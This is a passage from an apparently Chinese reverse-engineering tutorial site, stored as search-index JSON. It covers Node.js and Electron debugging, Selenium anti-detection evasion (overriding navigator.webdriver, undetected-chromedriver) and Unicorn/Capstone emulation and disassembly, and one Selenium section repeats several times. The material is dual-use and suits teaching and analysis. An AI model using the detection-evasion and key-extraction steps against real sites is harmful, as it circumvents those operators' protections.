require(\"debug\")(\"app:encrypt\"); function encrypt(data, key) { debug(\"加密开始, data=%s, key=%s\", data, key.toString(\"hex\")); // ... debug(\"加密完成, result=%s\", result); return result; } 运行: DEBUG=app:* node script.js ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:9:4","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#84-环境变量调试"},{"categories":null,"collections":null,"content":"8.5 REPL 调试 在运行时进入 REPL: const repl = require(\"repl\"); function complexFunction(data) { const step1 = process1(data); // 进入 REPL 检查中间结果 if (process.env.DEBUG) { console.log(\"进入 REPL 调试...\"); const r = repl.start(\"\u003e \"); r.context.step1 = step1; // 导出变量到 REPL r.context.data = data; } const step2 = process2(step1); return step2; } 运行: DEBUG=1 node script.js # 在 REPL 中 \u003e step1 \u003e JSON.stringify(step1) \u003e .exit // 退出 REPL 继续执行 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:9:5","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#85-repl-调试"},{"categories":null,"collections":null,"content":"9. 实战案例 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:10:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#9-实战案例"},{"categories":null,"collections":null,"content":"案例 1：逆向 Webpack 打包的加密逻辑 目标: 某网站的 JS 是 Webpack 打包的，找到加密函数 步骤: 下载打包后的 JS: curl https://example.com/app.bundle.js \u003e app.bundle.js 使用 webcrack 反打包: npm install -g webcrack webcrack app.bundle.js -o ./unpacked 找到加密函数 (假设在 ./unpacked/module_123.js): function encrypt(data) { // 复杂的加密逻辑 } 创建测试脚本 test.js: // 复制 module_123.js 的内容 const encrypt = require(\"./unpacked/module_123.js\"); // 测试 const result = encrypt(\"Hello\"); console.log(result); 调试: node --inspect-brk test.js 在 DevTools 中: 单步调试 encrypt 函数 查看中间变量 提取密钥/算法 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:10:1","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#案例-1逆向-webpack-打包的加密逻辑"},{"categories":null,"collections":null,"content":"案例 2：调试 Electron 应用 目标: 逆向某 Electron 桌面应用的加密通信 步骤: 找到应用的 asar 文件: # macOS cd /Applications/MyApp.app/Contents/Resources ls app.asar # Windows cd C:\\Program Files\\MyApp\\resources dir app.asar 解包 asar: npm install -g asar asar extract app.asar app_unpacked cd app_unpacked 启动调试模式: # 设置环境变量 export ELECTRON_ENABLE_LOGGING=1 export ELECTRON_RUN_AS_NODE=1 # 启动 Electron 并附加调试器 electron --inspect-brk=5858 . 连接 Chrome DevTools: chrome://inspect 分析加密逻辑: 在 main.js 或 renderer.js 中搜索加密相关函数 打断点调试 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:10:2","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#案例-2调试-electron-应用"},{"categories":null,"collections":null,"content":"案例 3：Hook require() 追踪模块加载 目标: 查看脚本加载了哪些模块 // hook-require.js const Module = require(\"module\"); const originalRequire = Module.prototype.require; Module.prototype.require = function (id) { console.log(\"[require]\", id); // 拦截特定模块 if (id === \"crypto\") { console.log(\"[Hook] 拦截 crypto 模块\"); debugger; // 断点 } return originalRequire.apply(this, arguments); }; // 加载目标脚本 require(\"./suspicious-script.js\"); 运行: node --inspect-brk hook-require.js ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:10:3","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#案例-3hook-require-追踪模块加载"},{"categories":null,"collections":null,"content":"10. 工具推荐 工具 用途 安装 ndb Google 开发的增强版调试器 npm install -g ndb node-inspector 旧版 Node.js 调试器（已废弃） - nodemon 自动重启 + 调试 npm install -g nodemon debug 条件日志输出 npm install debug why-is-node-running 查找阻止退出的资源 npm install why-is-node-running ndb 使用: ndb script.js # 或调试 npm script ndb npm start nodemon + 调试: nodemon --inspect-brk script.js why-is-node-running 使用: const why = require(\"why-is-node-running\"); setTimeout(() =\u003e { why(); // 打印所有未关闭的资源 }, 5000); ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:11:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#10-工具推荐"},{"categories":null,"collections":null,"content":"总结 Node.js 调试的关键技能： ✅ 基础调试: --inspect-brk + Chrome DevTools / VSCode ✅ 内存分析: Heap Snapshot 提取密钥和敏感数据 ✅ 性能分析: CPU Profiler 定位耗时函数 ✅ 异步调试: async/await + async stack traces ✅ 第三方包调试: npm link + 禁用 skipFiles ✅ 远程调试: SSH 隧道 + Docker 端口映射 ✅ 实战技巧: Hook require、条件断点、REPL 调试 记住: Node.js 调试的本质是利用 Chrome DevTools Protocol，掌握了浏览器调试，就掌握了 Node.js 调试。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:12:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#总结"},{"categories":null,"collections":null,"content":"相关章节 浏览器开发者工具 动态参数分析 AST 工具 Puppeteer 与 Playwright ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/nodejs_debugging/:13:0","tags":["Web","Docker","加密分析","Hook","脱壳","抓包"],"title":"Node.js 调试指南","uri":"/reverse_engineering/web/02-tooling/nodejs_debugging/#相关章节"},{"categories":null,"collections":null,"content":"Selenium 指南 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:0:0","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#selenium-指南"},{"categories":null,"collections":null,"content":"概述 Selenium 是 Web 自动化领域的元老。虽然在轻量级和抗检测性上不如 Puppeteer/Playwright，但由于其生态成熟、多语言支持好（Python/Java），依然在一些大型爬虫项目中有应用。 对于逆向工程师来说，主要需要了解如何 Bypass Selenium 检测。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:1:0","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#概述"},{"categories":null,"collections":null,"content":"1. 基础使用 (Python) from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() # 尽可能使用 CDP 命令来规避检测 options.add_experimental_option(\"excludeSwitches\", [\"enable-automation\"]) options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=options) driver.get(\"https://example.com\") ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:2:0","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#1-基础使用-python"},{"categories":null,"collections":null,"content":"2. 反爬虫检测与绕过 许多网站会通过 window.navigator.webdriver 来检测 Selenium。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:3:0","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#2-反爬虫检测与绕过"},{"categories":null,"collections":null,"content":"检测原理 浏览器启动时，如果是自动化控制模式，navigator.webdriver 会被设置为 true。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:3:1","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#检测原理"},{"categories":null,"collections":null,"content":"绕过方案 方案 A: CDP 方法 (推荐) 在加载页面前，执行 CDP 命令删除该属性。 driver.execute_cdp_cmd(\"Page.addScriptToEvaluateOnNewDocument\", { \"source\": \"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) \"\"\" }) 方案 B: 中间人代理 使用 mitmproxy / Burp 拦截响应，注入 JS 代码覆盖 navigator 属性。 方案 C: undetected-chromedriver 这是一个专门为了绕过检测而修改过的 ChromeDriver 封装库。 pip install undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get('https://nowsecure.nl') # 这是一个高强度检测站 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:3:2","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#绕过方案"},{"categories":null,"collections":null,"content":"绕过方案 方案 A: CDP 方法 (推荐) 在加载页面前，执行 CDP 命令删除该属性。 driver.execute_cdp_cmd(\"Page.addScriptToEvaluateOnNewDocument\", { \"source\": \"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) \"\"\" }) 方案 B: 中间人代理 使用 mitmproxy / Burp 拦截响应，注入 JS 代码覆盖 navigator 属性。 方案 C: undetected-chromedriver 这是一个专门为了绕过检测而修改过的 ChromeDriver 封装库。 pip install undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get('https://nowsecure.nl') # 这是一个高强度检测站 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:3:2","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#方案-a-cdp-方法-推荐"},{"categories":null,"collections":null,"content":"绕过方案 方案 A: CDP 方法 (推荐) 在加载页面前，执行 CDP 命令删除该属性。 driver.execute_cdp_cmd(\"Page.addScriptToEvaluateOnNewDocument\", { \"source\": \"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) \"\"\" }) 方案 B: 中间人代理 使用 mitmproxy / Burp 拦截响应，注入 JS 代码覆盖 navigator 属性。 方案 C: undetected-chromedriver 这是一个专门为了绕过检测而修改过的 ChromeDriver 封装库。 pip install undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get('https://nowsecure.nl') # 这是一个高强度检测站 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:3:2","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#方案-b-中间人代理"},{"categories":null,"collections":null,"content":"绕过方案 方案 A: CDP 方法 (推荐) 在加载页面前，执行 CDP 命令删除该属性。 driver.execute_cdp_cmd(\"Page.addScriptToEvaluateOnNewDocument\", { \"source\": \"\"\" Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) \"\"\" }) 方案 B: 中间人代理 使用 mitmproxy / Burp 拦截响应，注入 JS 代码覆盖 navigator 属性。 方案 C: undetected-chromedriver 这是一个专门为了绕过检测而修改过的 ChromeDriver 封装库。 pip install undetected-chromedriver import undetected_chromedriver as uc driver = uc.Chrome() driver.get('https://nowsecure.nl') # 这是一个高强度检测站 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:3:2","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#方案-c-undetected-chromedriver"},{"categories":null,"collections":null,"content":"3. 为什么逆向中可以较少用 Selenium？ 指纹严重: Selenium 留下的特征比 Puppeteer 多得多（如 cdc_ 变量）。 Hook 不便: 虽然可以通过 CDP 注入，但原生 API 对 Request Interception 的支持不如 Puppeteer 优雅。 环境重: 需要下载对应版本的 WebDriver，容易出现版本不兼容问题。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:4:0","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#3-为什么逆向中可以较少用-selenium"},{"categories":null,"collections":null,"content":"总结 如果你要写一个新的逆向脚本，建议首选 Puppeteer / Playwright。如果你必须维护现有的 Selenium 项目，请熟练掌握 CDP 注入 和 undetected-chromedriver 来对抗反爬虫。 ","date":"2024-07-07","objectID":"/reverse_engineering/web/02-tooling/selenium_guide/:5:0","tags":["Web","代理池","Hook","抓包","Playwright","DevTools"],"title":"Selenium 指南","uri":"/reverse_engineering/web/02-tooling/selenium_guide/#总结"},{"categories":null,"collections":null,"content":"二进制分析工具链 Unicorn、Capstone、Keystone 是现代二进制分析的三大基础框架，它们共同构成了许多高级工具（如 Unidbg、Qiling、Frida）的底层支撑。理解这些基础技术对于深入逆向工程至关重要。 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:0:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#二进制分析工具链"},{"categories":null,"collections":null,"content":"1. 工具链概览 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:1:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#1-工具链概览"},{"categories":null,"collections":null,"content":"1.1 技术关系 ┌─────────────────────────────────────────────────────────────────┐ │ 二进制分析工具链关系图 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ │ │ │ 源代码 │ │ │ └──────┬──────┘ │ │ │ 编译 │ │ ↓ │ │ ┌─────────────┐ │ │ ┌───────│ 机器码 │───────┐ │ │ │ └─────────────┘ │ │ │ │ │ │ │ ↓ ↓ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Capstone │ │ Unicorn │ │ │ │ (反汇编器) │ │ (CPU 仿真器) │ │ │ │ │ │ │ │ │ │ 机器码 → 汇编码 │ │ 执行机器码 │ │ │ └────────┬────────┘ └────────┬────────┘ │ │ │ │ │ │ ↓ ↓ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ 汇编代码 │ │ 执行结果 │ │ │ │ (可读形式) │ │ (寄存器/内存) │ │ │ └────────┬────────┘ └─────────────────┘ │ │ │ │ │ ↓ │ │ ┌─────────────────┐ │ │ │ Keystone │ │ │ │ (汇编器) │ │ │ │ │ │ │ │ 汇编码 → 机器码 │ │ │ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:1:1","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#11-技术关系"},{"categories":null,"collections":null,"content":"1.2 工具对比 工具 功能 输入 输出 典型用途 Unicorn CPU 仿真 机器码 执行结果 模拟执行、脱壳、算法还原 Capstone 反汇编 机器码 汇编指令 代码分析、指令识别 Keystone 汇编 汇编指令 机器码 Patch 生成、Shellcode 编写 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:1:2","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#12-工具对比"},{"categories":null,"collections":null,"content":"1.3 支持的架构 架构 Unicorn Capstone Keystone ARM ✅ ✅ ✅ ARM64 (AArch64) ✅ ✅ ✅ x86 ✅ ✅ ✅ x86-64 ✅ ✅ ✅ MIPS ✅ ✅ ✅ SPARC ✅ ✅ ✅ PowerPC ✅ ✅ ✅ M68K ✅ ✅ ✅ ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:1:3","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#13-支持的架构"},{"categories":null,"collections":null,"content":"1.4 安装 # Python 安装 pip install unicorn capstone keystone-engine # 验证安装 python -c \"import unicorn; print('Unicorn:', unicorn.__version__)\" python -c \"import capstone; print('Capstone:', capstone.__version__)\" python -c \"import keystone; print('Keystone: OK')\" ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:1:4","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#14-安装"},{"categories":null,"collections":null,"content":"2. Unicorn - CPU 仿真引擎 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:2:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#2-unicorn---cpu-仿真引擎"},{"categories":null,"collections":null,"content":"2.1 Unicorn 简介 Unicorn 是一个轻量级的多平台、多架构 CPU 仿真框架，基于 QEMU 开发。它只模拟 CPU 指令执行，不模拟操作系统或硬件设备。 核心特点： 纯 CPU 仿真，无系统调用支持 支持多种 CPU 架构 提供多种语言绑定（Python、C、Java、Go 等） 可设置 Hook 监控执行过程 内存映射完全可控 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:2:1","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#21-unicorn-简介"},{"categories":null,"collections":null,"content":"2.2 基础使用 from unicorn import * from unicorn.arm_const import * # ARM 机器码: mov r0, #0x37 ARM_CODE = b\"\\x37\\x00\\xa0\\xe3\" # 初始化 ARM 模式的 Unicorn 实例 mu = Uc(UC_ARCH_ARM, UC_MODE_ARM) # 映射 2MB 内存用于代码执行 ADDRESS = 0x10000 mu.mem_map(ADDRESS, 2 * 1024 * 1024) # 写入代码 mu.mem_write(ADDRESS, ARM_CODE) # 设置初始寄存器值 mu.reg_write(UC_ARM_REG_R0, 0x0) # 开始仿真执行 mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE)) # 读取执行结果 r0 = mu.reg_read(UC_ARM_REG_R0) print(f\"R0 = 0x{r0:x}\") # 输出: R0 = 0x37 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:2:2","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#22-基础使用"},{"categories":null,"collections":null,"content":"2.3 ARM64 仿真示例 from unicorn import * from unicorn.arm64_const import * # ARM64 机器码 # mov x0, #0x1234 # mov x1, #0x5678 # add x2, x0, x1 ARM64_CODE = bytes([ 0x80, 0x46, 0x82, 0xd2, # mov x0, #0x1234 0x01, 0xcf, 0x8a, 0xd2, # mov x1, #0x5678 0x02, 0x00, 0x01, 0x8b, # add x2, x0, x1 ]) def emulate_arm64(): # 创建 ARM64 仿真器 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 映射内存 ADDRESS = 0x10000 STACK_ADDR = 0x80000 STACK_SIZE = 0x10000 mu.mem_map(ADDRESS, 2 * 1024 * 1024) mu.mem_map(STACK_ADDR, STACK_SIZE) # 写入代码 mu.mem_write(ADDRESS, ARM64_CODE) # 设置栈指针 mu.reg_write(UC_ARM64_REG_SP, STACK_ADDR + STACK_SIZE - 8) # 执行 mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE)) # 读取结果 x0 = mu.reg_read(UC_ARM64_REG_X0) x1 = mu.reg_read(UC_ARM64_REG_X1) x2 = mu.reg_read(UC_ARM64_REG_X2) print(f\"X0 = 0x{x0:x}\") # 0x1234 print(f\"X1 = 0x{x1:x}\") # 0x5678 print(f\"X2 = 0x{x2:x}\") # 0x68ac (0x1234 + 0x5678) emulate_arm64() ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:2:3","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#23-arm64-仿真示例"},{"categories":null,"collections":null,"content":"2.4 Hook 机制 Unicorn 提供多种 Hook 类型用于监控和控制执行： from unicorn import * from unicorn.arm_const import * # Hook 类型说明 # UC_HOOK_CODE - 每条指令执行前 # UC_HOOK_BLOCK - 每个基本块执行前 # UC_HOOK_MEM_READ - 内存读取时 # UC_HOOK_MEM_WRITE - 内存写入时 # UC_HOOK_INTR - 中断发生时 def hook_code(uc, address, size, user_data): \"\"\"每条指令执行前的回调\"\"\" code = uc.mem_read(address, size) print(f\"执行地址: 0x{address:x}, 指令大小: {size}, 字节: {code.hex()}\") def hook_block(uc, address, size, user_data): \"\"\"每个基本块执行前的回调\"\"\" print(f\"进入基本块: 0x{address:x}, 大小: {size}\") def hook_mem_access(uc, access, address, size, value, user_data): \"\"\"内存访问回调\"\"\" if access == UC_MEM_WRITE: print(f\"内存写入: 0x{address:x} = 0x{value:x} (大小: {size})\") else: print(f\"内存读取: 0x{address:x} (大小: {size})\") def hook_mem_invalid(uc, access, address, size, value, user_data): \"\"\"无效内存访问回调\"\"\" print(f\"无效内存访问: 0x{address:x}\") # 可以动态映射内存来处理 uc.mem_map(address \u0026 ~0xfff, 0x1000) return True # 返回 True 继续执行 # 使用示例 mu = Uc(UC_ARCH_ARM, UC_MODE_ARM) # 添加 Hook mu.hook_add(UC_HOOK_CODE, hook_code) mu.hook_add(UC_HOOK_BLOCK, hook_block) mu.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, hook_mem_access) mu.hook_add(UC_HOOK_MEM_INVALID, hook_mem_invalid) ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:2:4","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#24-hook-机制"},{"categories":null,"collections":null,"content":"2.5 处理系统调用 Unicorn 不模拟系统调用，需要手动处理： from unicorn import * from unicorn.arm_const import * # ARM Linux 系统调用号 SYS_WRITE = 4 SYS_EXIT = 1 def hook_intr(uc, intno, user_data): \"\"\"处理软中断 (syscall)\"\"\" if intno == 2: # ARM SWI 中断 # 获取系统调用号 (R7) syscall_num = uc.reg_read(UC_ARM_REG_R7) if syscall_num == SYS_WRITE: # write(fd, buf, count) fd = uc.reg_read(UC_ARM_REG_R0) buf = uc.reg_read(UC_ARM_REG_R1) count = uc.reg_read(UC_ARM_REG_R2) data = uc.mem_read(buf, count) print(f\"[syscall] write({fd}, {data}, {count})\") # 返回值 uc.reg_write(UC_ARM_REG_R0, count) elif syscall_num == SYS_EXIT: exit_code = uc.reg_read(UC_ARM_REG_R0) print(f\"[syscall] exit({exit_code})\") uc.emu_stop() mu = Uc(UC_ARCH_ARM, UC_MODE_ARM) mu.hook_add(UC_HOOK_INTR, hook_intr) ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:2:5","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#25-处理系统调用"},{"categories":null,"collections":null,"content":"3. Capstone - 反汇编框架 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:3:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#3-capstone---反汇编框架"},{"categories":null,"collections":null,"content":"3.1 Capstone 简介 Capstone 是一个轻量级的多平台、多架构反汇编框架。它将机器码转换为人类可读的汇编指令，并提供丰富的指令信息。 核心特点： 支持多种架构 提供详细的指令信息（操作数、寄存器、内存访问等） 线程安全 支持多种语法风格（Intel/AT\u0026T） ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:3:1","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#31-capstone-简介"},{"categories":null,"collections":null,"content":"3.2 基础使用 from capstone import * # ARM 机器码 ARM_CODE = b\"\\x00\\x00\\xa0\\xe3\\x01\\x10\\xa0\\xe3\\x02\\x20\\x81\\xe0\" # 创建 ARM 反汇编器 md = Cs(CS_ARCH_ARM, CS_MODE_ARM) # 反汇编 print(\"ARM 反汇编结果:\") for insn in md.disasm(ARM_CODE, 0x1000): print(f\"0x{insn.address:x}:\\t{insn.mnemonic}\\t{insn.op_str}\") # 输出: # 0x1000: mov r0, #0 # 0x1004: mov r1, #1 # 0x1008: add r2, r1, r2 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:3:2","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#32-基础使用"},{"categories":null,"collections":null,"content":"3.3 ARM64 反汇编 from capstone import * # ARM64 机器码 ARM64_CODE = bytes([ 0xe0, 0x03, 0x00, 0xaa, # mov x0, x0 0x21, 0x00, 0x80, 0xd2, # mov x1, #1 0x42, 0x00, 0x01, 0x8b, # add x2, x2, x1 0xc0, 0x03, 0x5f, 0xd6, # ret ]) # 创建 ARM64 反汇编器 md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) print(\"ARM64 反汇编结果:\") for insn in md.disasm(ARM64_CODE, 0x1000): print(f\"0x{insn.address:x}:\\t{insn.mnemonic}\\t{insn.op_str}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:3:3","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#33-arm64-反汇编"},{"categories":null,"collections":null,"content":"3.4 详细指令信息 from capstone import * from capstone.arm64 import * ARM64_CODE = b\"\\x21\\x00\\x80\\xd2\" # mov x1, #1 md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) md.detail = True # 启用详细模式 for insn in md.disasm(ARM64_CODE, 0x1000): print(f\"指令: {insn.mnemonic} {insn.op_str}\") print(f\"指令 ID: {insn.id}\") print(f\"指令大小: {insn.size} 字节\") print(f\"指令字节: {insn.bytes.hex()}\") # 操作数信息 print(f\"操作数数量: {len(insn.operands)}\") for i, op in enumerate(insn.operands): if op.type == ARM64_OP_REG: print(f\" 操作数 {i}: 寄存器 {insn.reg_name(op.reg)}\") elif op.type == ARM64_OP_IMM: print(f\" 操作数 {i}: 立即数 0x{op.imm:x}\") elif op.type == ARM64_OP_MEM: print(f\" 操作数 {i}: 内存 [base={insn.reg_name(op.mem.base)}]\") # 读写的寄存器 if insn.regs_read: print(f\"读取寄存器: {[insn.reg_name(r) for r in insn.regs_read]}\") if insn.regs_write: print(f\"写入寄存器: {[insn.reg_name(r) for r in insn.regs_write]}\") # 指令分组 if insn.groups: print(f\"指令组: {[insn.group_name(g) for g in insn.groups]}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:3:4","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#34-详细指令信息"},{"categories":null,"collections":null,"content":"3.5 识别特定指令 from capstone import * from capstone.arm64 import * def analyze_function(code, base_addr): \"\"\"分析函数中的特定指令模式\"\"\" md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) md.detail = True branches = [] calls = [] returns = [] for insn in md.disasm(code, base_addr): # 检查是否为分支指令 if ARM64_GRP_JUMP in insn.groups: branches.append((insn.address, insn.mnemonic, insn.op_str)) # 检查是否为调用指令 if ARM64_GRP_CALL in insn.groups: calls.append((insn.address, insn.mnemonic, insn.op_str)) # 检查是否为返回指令 if ARM64_GRP_RET in insn.groups: returns.append((insn.address, insn.mnemonic)) print(\"分支指令:\", branches) print(\"调用指令:\", calls) print(\"返回指令:\", returns) ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:3:5","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#35-识别特定指令"},{"categories":null,"collections":null,"content":"3.6 x86/x64 反汇编 from capstone import * # x86 代码 X86_CODE = b\"\\x55\\x48\\x89\\xe5\\x48\\x83\\xec\\x10\" # x86-64 模式 md = Cs(CS_ARCH_X86, CS_MODE_64) md.syntax = CS_OPT_SYNTAX_INTEL # 使用 Intel 语法 print(\"x86-64 反汇编 (Intel 语法):\") for insn in md.disasm(X86_CODE, 0x1000): print(f\"0x{insn.address:x}:\\t{insn.mnemonic}\\t{insn.op_str}\") # 切换到 AT\u0026T 语法 md.syntax = CS_OPT_SYNTAX_ATT print(\"\\nx86-64 反汇编 (AT\u0026T 语法):\") for insn in 